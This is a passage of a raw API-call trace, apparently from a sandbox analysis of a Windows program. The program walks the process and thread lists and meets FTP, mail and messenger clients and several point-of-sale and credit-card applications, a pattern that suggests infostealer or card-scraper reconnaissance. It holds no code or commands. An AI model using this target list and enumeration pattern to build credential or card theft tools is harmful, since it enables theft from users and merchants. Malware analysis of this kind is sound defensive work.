GetCurrentThreadId () returned 0x9fc [0117.008] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lifestylecalendar.exe")) returned 1 [0117.009] GetTickCount () returned 0x114ffe2 [0117.009] GetCurrentThreadId () returned 0x9fc [0117.010] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepsmorris.exe")) returned 1 [0117.011] GetTickCount () returned 0x114ffe2 [0117.011] GetCurrentThreadId () returned 0x9fc [0117.011] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0117.012] GetTickCount () returned 0x114ffe2 [0117.012] GetCurrentThreadId () returned 0x9fc [0117.012] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0117.014] GetTickCount () returned 0x114fff2 [0117.014] GetCurrentThreadId () returned 0x9fc [0117.014] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0117.015] GetTickCount () returned 0x114fff2 [0117.015] GetCurrentThreadId () returned 0x9fc [0117.015] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0117.016] GetTickCount () returned 0x114fff2 [0117.016] GetCurrentThreadId () returned 0x9fc [0117.016] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0117.018] GetTickCount () returned 0x114fff2 [0117.018] GetCurrentThreadId () returned 0x9fc [0117.018] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0117.019] GetTickCount () returned 0x114fff2 [0117.019] GetCurrentThreadId () returned 0x9fc [0117.019] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0117.020] GetTickCount () returned 0x114fff2 [0117.020] GetCurrentThreadId () returned 0x9fc [0117.020] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0117.021] GetTickCount () returned 0x114fff2 [0117.021] GetCurrentThreadId () returned 0x9fc [0117.021] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0117.023] GetTickCount () returned 0x114fff2 [0117.023] GetCurrentThreadId () returned 0x9fc [0117.023] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0117.024] GetTickCount () returned 0x114fff2 [0117.024] GetCurrentThreadId () returned 0x9fc [0117.024] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0117.025] GetTickCount () returned 0x114fff2 [0117.025] GetCurrentThreadId () returned 0x9fc [0117.025] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0117.026] GetTickCount () returned 0x114fff2 [0117.026] GetCurrentThreadId () returned 0x9fc [0117.026] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0117.028] GetTickCount () returned 0x114fff2 [0117.028] GetCurrentThreadId () returned 0x9fc [0117.028] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0117.030] GetTickCount () returned 0x1150001 [0117.030] GetCurrentThreadId () returned 0x9fc [0117.030] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0117.031] GetTickCount () returned 0x1150001 [0117.031] GetCurrentThreadId () returned 0x9fc [0117.031] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0117.032] GetTickCount () returned 0x1150001 [0117.032] GetCurrentThreadId () returned 0x9fc [0117.032] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0117.033] GetTickCount () returned 0x1150001 [0117.034] GetCurrentThreadId () returned 0x9fc [0117.034] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0117.035] GetTickCount () returned 0x1150001 [0117.035] GetCurrentThreadId () returned 0x9fc [0117.035] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0117.036] GetTickCount () returned 0x1150001 [0117.036] GetCurrentThreadId () returned 0x9fc [0117.036] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0117.038] GetTickCount () returned 0x1150001 [0117.038] GetCurrentThreadId () returned 0x9fc [0117.038] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0117.039] GetTickCount () returned 0x1150001 [0117.039] GetCurrentThreadId () returned 0x9fc [0117.039] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0117.040] GetTickCount () returned 0x1150001 [0117.040] GetCurrentThreadId () returned 0x9fc [0117.040] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0117.041] GetTickCount () returned 0x1150001 [0117.041] GetCurrentThreadId () returned 0x9fc [0117.041] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0117.043] GetTickCount () returned 0x1150001 [0117.043] GetCurrentThreadId () returned 0x9fc [0117.043] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0117.044] GetTickCount () returned 0x1150001 [0117.044] GetCurrentThreadId () returned 0x9fc [0117.044] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0117.061] GetTickCount () returned 0x1150020 [0117.061] GetCurrentThreadId () returned 0x9fc [0117.061] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0117.062] GetTickCount () returned 0x1150020 [0117.062] GetCurrentThreadId () returned 0x9fc [0117.062] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0117.063] GetTickCount () returned 0x1150020 [0117.063] GetCurrentThreadId () returned 0x9fc [0117.063] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0117.065] GetTickCount () returned 0x1150020 [0117.065] GetCurrentThreadId () returned 0x9fc [0117.065] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0117.066] GetTickCount () returned 0x1150020 [0117.066] GetCurrentThreadId () returned 0x9fc [0117.066] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0117.067] GetTickCount () returned 0x1150020 [0117.067] GetCurrentThreadId () returned 0x9fc [0117.067] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0117.068] GetTickCount () returned 0x1150020 [0117.068] GetCurrentThreadId () returned 0x9fc [0117.068] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0117.070] GetTickCount () returned 0x1150020 [0117.070] GetCurrentThreadId () returned 0x9fc [0117.070] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0117.071] GetTickCount () returned 0x1150020 [0117.071] GetCurrentThreadId () returned 0x9fc [0117.071] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0117.072] GetTickCount () returned 0x1150020 [0117.072] GetCurrentThreadId () returned 0x9fc [0117.072] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0117.073] GetTickCount () returned 0x1150020 [0117.073] GetCurrentThreadId () returned 0x9fc [0117.073] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0117.075] GetTickCount () returned 0x1150020 [0117.075] GetCurrentThreadId () returned 0x9fc [0117.075] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0117.076] GetTickCount () returned 0x1150030 [0117.076] GetCurrentThreadId () returned 0x9fc [0117.076] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0117.077] GetTickCount () returned 0x1150030 [0117.077] GetCurrentThreadId () returned 0x9fc [0117.077] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0117.078] GetTickCount () returned 0x1150030 [0117.078] GetCurrentThreadId () returned 0x9fc [0117.078] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0117.080] GetTickCount () returned 0x1150030 [0117.080] GetCurrentThreadId () returned 0x9fc [0117.080] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0117.081] GetTickCount () returned 0x1150030 [0117.081] GetCurrentThreadId () returned 0x9fc [0117.081] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0117.082] GetTickCount () returned 0x1150030 [0117.082] GetCurrentThreadId () returned 0x9fc [0117.082] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0117.083] GetTickCount () returned 0x1150030 [0117.083] GetCurrentThreadId () returned 0x9fc [0117.083] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="influenced.exe")) returned 1 [0117.084] GetTickCount () returned 0x1150030 [0117.084] GetCurrentThreadId () returned 0x9fc [0117.085] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.086] GetTickCount () returned 0x1150030 [0117.086] GetCurrentThreadId () returned 0x9fc [0117.086] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.087] GetTickCount () returned 0x1150030 [0117.087] GetCurrentThreadId () returned 0x9fc [0117.087] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.088] GetTickCount () returned 0x1150030 [0117.088] GetCurrentThreadId () returned 0x9fc [0117.088] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aUsMWsjhpLkBV4ai.exe")) returned 1 [0117.089] GetTickCount () returned 0x1150030 [0117.089] GetCurrentThreadId () returned 0x9fc [0117.089] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.090] GetTickCount () returned 0x1150030 [0117.090] GetCurrentThreadId () returned 0x9fc [0117.090] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0117.105] GetTickCount () returned 0x1150040 [0117.105] GetCurrentThreadId () returned 0x9fc [0117.105] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.106] GetTickCount () returned 0x1150040 [0117.106] GetCurrentThreadId () returned 0x9fc [0117.106] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa88, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.107] GetTickCount () returned 0x115004f [0117.107] GetCurrentThreadId () returned 0x9fc [0117.107] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xb7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0117.108] GetTickCount () returned 0x115004f [0117.108] GetCurrentThreadId () returned 0x9fc [0117.109] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.110] GetTickCount () returned 0x115004f [0117.110] GetCurrentThreadId () returned 0x9fc [0117.110] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0117.111] GetTickCount () returned 0x115004f [0117.111] GetCurrentThreadId () returned 0x9fc [0117.111] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.112] GetTickCount () returned 0x115004f [0117.112] GetCurrentThreadId () returned 0x9fc [0117.112] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.113] GetTickCount () returned 0x115004f [0117.113] GetCurrentThreadId () returned 0x9fc [0117.113] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0117.114] GetTickCount () returned 0x115004f [0117.114] GetCurrentThreadId () returned 0x9fc [0117.114] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x2d252e8, th32ProcessID=0x0, th32DefaultHeapID=0x20000020, th32ModuleID=0x2a0150, cntThreads=0x2d25360, th32ParentProcessID=0x2d28c60, pcPriClassBase=2756480, dwFlags=0x100, szExeFile="")) returned 0 [0117.115] GetTickCount () returned 0x115004f [0117.115] Thread32First (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.116] GetCurrentThreadId () returned 0x9fc [0117.116] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.117] GetTickCount () returned 0x115004f [0117.117] GetCurrentThreadId () returned 0x9fc [0117.117] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.118] GetTickCount () returned 0x115004f [0117.118] GetCurrentThreadId () returned 0x9fc [0117.118] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.119] GetTickCount () returned 0x115004f [0117.119] GetCurrentThreadId () returned 0x9fc [0117.119] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.120] GetTickCount () returned 0x115004f [0117.120] GetCurrentThreadId () returned 0x9fc [0117.120] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.121] GetTickCount () returned 0x115004f [0117.121] GetCurrentThreadId () returned 0x9fc [0117.121] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.122] GetTickCount () returned 0x115004f [0117.122] GetCurrentThreadId () returned 0x9fc [0117.122] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.123] GetTickCount () returned 0x115004f [0117.123] GetCurrentThreadId () returned 0x9fc [0117.123] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.124] GetTickCount () returned 0x115005f [0117.125] GetCurrentThreadId () returned 0x9fc [0117.125] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.126] GetTickCount () returned 0x115005f [0117.126] GetCurrentThreadId () returned 0x9fc [0117.126] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.127] GetTickCount () returned 0x115005f [0117.127] GetCurrentThreadId () returned 0x9fc [0117.127] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.127] GetTickCount () returned 0x115005f [0117.128] GetCurrentThreadId () returned 0x9fc [0117.128] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 